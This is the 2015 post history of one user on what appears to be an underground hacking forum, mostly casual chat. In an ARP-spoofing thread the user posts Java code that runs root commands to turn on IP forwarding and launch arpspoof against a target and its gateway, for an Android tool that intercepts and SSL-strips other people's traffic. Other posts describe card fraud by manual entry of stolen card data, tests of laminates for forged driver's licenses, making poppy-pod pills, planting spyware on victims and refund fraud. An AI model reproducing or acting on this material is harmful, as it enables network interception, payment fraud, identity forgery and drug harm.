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2015-09-02 at 5:11 AM UTC in Can Anybody Suggest Any Good Card Sellers??This the type of thing that could get Lanny put into a jail cell.
You should asked more like, "How could a person find a good sell of card data?"
Then the scammers will be like "PM sent!". -
2015-09-02 at 4:53 AM UTC in What pills can I make?You buy poppy pods, make poppy head tea, dry the tea out in a pan, scrape the chips up, break them up, and place into pill capsules. I actually use to do this in my early 20's.
bundy, but I think it may be sold in pill form already. -
2015-09-02 at 4:36 AM UTC in Welcome Faggots (rules and updates on site features)All seems good to me. Basically don't post illegal stuff and don't fuck up the forum.
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2015-08-29 at 5:16 AM UTC in How many people with an interest in cyber security("Hacking") are still here?I really only know some of the basics to be honests but finding serious security holes in important websites isnt very hard.
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2015-08-25 at 4:51 AM UTC in Domain name change suggestion.I see some that would be good. Maybe we could start a donation thingy. I would pitch in a buck to have the name changed.
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2015-08-24 at 10:46 PM UTC in Chip And Pin Bypassed
Doesn't most fraud involve buying things on the internet? (inb4 every computer comes with a closed source chip reader required to make any purchases).
No, the chip is to stop people from actually using cards in stores. I read that they expect online card fraud and bank fraud to rise due to the chip. -
2015-08-24 at 10:44 PM UTC in Chip And Pin BypassedFrom what I've read, it that each time you use the chip, a number is generated based on an algorithm that the banks hold, and this number is held for the next transaction. So if someone skims your card data when you use the card and then later sells it, if you used your card since it was skimmed, that number will have changed and the buyer of the data won't be able to successfully purchase goods.
I'm not 100% clear on how it all works though. Is this number put back onto the card itself each time a transaction is made? -
2015-08-24 at 10:27 PM UTC in ARP Spoof ProgramaticallyThis is how I have been starting it lately...
private void startArpSpoof() {
try {
Process process = Runtime.getRuntime().exec("su");
DataOutputStream os = new DataOutputStream(process.getOutputStream());
os.writeBytes("echo '1' > /proc/sys/net/ipv4/ip_forward\n");
os.flush();
os.writeBytes(getFilesDir().getPath().toString() + "/arpspoof -t " + targetIpData.getText().toString() + " " + gatewayData.getText().toString() + "\n");
os.flush();
os.writeBytes(getFilesDir().getPath().toString() + "/arpspoof -t " + gatewayData.getText().toString() + " " + targetIpData.getText().toString() + "\n");
os.flush();
} catch (Exception e) {}
}
However, I was using https://github.com/Chainfire/libsuperuser but it seemed to hang on certain commands and I couldn't execute another command using it because it was hung up on the first command. -
2015-08-24 at 8:56 PM UTC in Chip And Pin Bypassed
But OP some places won't allow that, I have seen in some shops the chip was dirty and they refused purchase ('go to the bank, get cash and come back')
Maybe that's how it'll end up here...
Another thing, is that the purchase was small. So maybe a large purchase would have been rejected. Most of the reactions the machines have to cards regard the issuer and their standard of procedures. The store/company doesn't actually have much do do with it. -
2015-08-24 at 7:18 PM UTC in Work is gay.
eh…kinda, like you implied. It was obviously stupid in the sense that I just up and quit; no warning or notice or anything like that, and I don't have another job lined up, and I have bills to pay, so essentially I just threw myself into a potentially shitty situation. On the other hand, there's no lack of job openings around here and I'm more than sure that I can have a new job by Tuesday. But yes I'm happy to not be working at a place where I was the only one who gave a shit and busted my ass while everyone else stood around fingering their assholes, yeah. XD
I've done this myself before, but I also noticed a lot of job openings in my area. It actually usually turns out better in the long run. But I still think you should have tried to get fired. You could have clocked up and just fucked around all day long. Sleep on the job, mess things up, clock in and go to the bar for a beer(I actually did this at a job I had), showed up on drugs/drunk/experimenting with new drugs(I've done this quite a bit as well), pissed on shit(I've actually done this as well ), whatever your heart desires. I have more respect for people that go out this way rather than just quit. I have to assume that your management must have been good to you or something. -
2015-08-24 at 7:08 PM UTC in Chip And Pin BypassedSo as you all know, I have this retail gig that I've been at for about six months now. This allows me to look at people's driver's licenses, checks, credit cards, even hear customer's SSN occasionally.
A few months back the store changed out all of the card readers so that they can read the new chip cards. Basically, if someone tries to swipe a card, it may ask for them to insert their card so the chip can be read. Apparently, this seems to be based on the issuer, and according to customers, is random(but they could be full of shit).
I had a customer attempt to pay for about $15 worth of items using his chip card. The register read "CARD ERROR". So the customer said, "I'll try to swipe it instead." After swiping it, it said "PLEASE INSERT CARD". I asked a manager what I should do, and he said to just type in the card info. So I went through the process, which had me type in the card number, expiration date, and the 3 digit security code on the back of the card, and it went through.
So basically, if you have the card's number, expiration date, and three digit security code, you could just print out a card with a damaged chip, and spend away. -
2015-08-23 at 5:17 AM UTC in Work is gay.My retail job is nuts. I just put items that are out of place, behind other big box items. I dump shit everywhere(inside cardboard displays, inside other items, under the shelfing). I think I actually create more work than I do. I also would like to not work.
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2015-08-18 at 5:01 AM UTC in Do you contribute to a 401k?I honestly don't save that far ahead. I expect to die before I am at a retirement age and I actually kind of hope to die before I get that old.
Not to mention all of the economy stuff going on right now. I wouldn't doubt it if it all crashes at one point and everyone losses their 401k and is SOL. But we still probably have at least 10 years until that happens. -
2015-08-18 at 4:57 AM UTC in everyone should get one get out of trouble cardIn the US we kind of do. We can usually get a deferred sentence on a first time misdemeanor.
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2015-08-17 at 10:55 PM UTC in Remote Control System - GalileoIt would take some technical knowledge to set up and run. I don't have a link, but I think I may have read an article stating that this has all been patched and wont work. As far as getting the software onto the victims machine, are there any tutorials? I know it's asked a lot, but I have never really paid attention to it in the past.
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2015-08-17 at 7:15 PM UTC in Driver's License Laminating PouchI ordered some film, hopefully it'll be at least somewhat correct.
I have noticed that gloss is far too reflective, but it shows the colors really well, it's very transparent. Matte fades the colors and makes the black text look a bit less black which looks obvious, and it's not reflective at all. Satin doesn't look quite right either, but luster may be the correct choice.
The main issue is that these rolls of film are like $400+ and most likely don't have a refund if it's not correct.
I have also tried applying chemicals to these laminates in order to fade them, but no success. I even tried rubbing coffee grinds on them and letting them dry for weeks but it just washes out and leaves no stain. -
2015-08-17 at 7:04 PM UTC in Remote Control System - Galileo267GB, goog god.
This may help in understanding how this works...
https://www.4armed.com/blog/galileo-rcs-running-espionage-operation/ -
2015-08-15 at 7:40 AM UTC in Running python program as a Windows service.I don't know shit about any of this, but would this be better using C rather than Python? Just curious.
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2015-08-15 at 7:26 AM UTC in ARP Spoof ProgramaticallyI've got a little Android program I am making and it'll ARP Spoof and SSL Strip as well as some other things.
The user can chose a pinged IP, and ARP spoof it, and then watch/record using TCPdump. TCPdump in my app can watch/record multiple interfaces and/or IP address, and each one is separated from each other.
I'd like to set up the ARP spoofing, so that I can chose a pinged IP and ARP spoof it, chose a second pinged IP and ARP spoof it, chose third IP and ARP spoof it, then maybe decide to stop the ARP spoofing of the second IP that I had chosen.
Can I achieve this by issuing multiple commands to ARPSPOOF or is ARPSPOOF only going to work for one box at a time?
Example:
Gateway: 192.168.1.1
arpspoof -t 192.168.1.1 192.168.1.20
arpspoof -t 192.168.1.20 192.168.1.1
arpspoof -t 192.168.1.1 192.168.1.29
arpspoof -t 192.168.1.29 192.168.1.1
arpspoof -t 192.168.1.1 192.168.1.119
arpspoof -t 192.168.1.119 192.168.1.1
If YES, the only way I know how to stop ARP spoofing, is to issue a "killall arpspoof" command, which will stop all. Is there way to stop just one of these?
.....If NO, I may be able to killall, remove that IP from the arraylist, and then restart all of the arpspoofs again, but it'd create a disturbance in the ongoing spoofs.
.....If YES, how?
If NO, would it be possible to change some of the code for ARPSPOOF to make this possible?
.....If YES, would this slow down the network.
.....If NO, I guess I'll only ARP spoof one box at a time...
..........If NO, go to jail. -
2015-08-14 at 4:32 AM UTC in I hate it when I pay more than I have to for something.You should have claimed that you never received it and you would have paid nothing. You can also torrent those books.
